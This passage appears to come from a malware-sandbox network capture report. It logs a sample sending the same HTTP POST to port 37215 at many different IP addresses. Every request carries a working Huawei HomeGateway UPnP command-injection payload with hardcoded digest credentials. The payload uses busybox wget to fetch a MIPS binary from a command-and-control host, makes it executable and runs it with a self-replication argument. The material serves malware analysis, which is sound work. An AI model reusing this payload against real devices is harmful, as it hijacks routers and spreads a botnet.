6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	46858	41.212.205.129	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.259207010 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	51676	156.132.222.235	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.261167049 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	36170	156.233.106.32	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.263189077 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	36438	41.102.52.117	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.264941931 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	43092	156.79.77.68	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.266591072 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	36272	197.31.225.2	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.268337965 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	58704	156.253.95.85	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.270026922 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	39844	197.231.247.81	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.271857023 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	33770	197.153.87.52	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.273792028 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	39372	156.53.179.243	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.275549889 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l 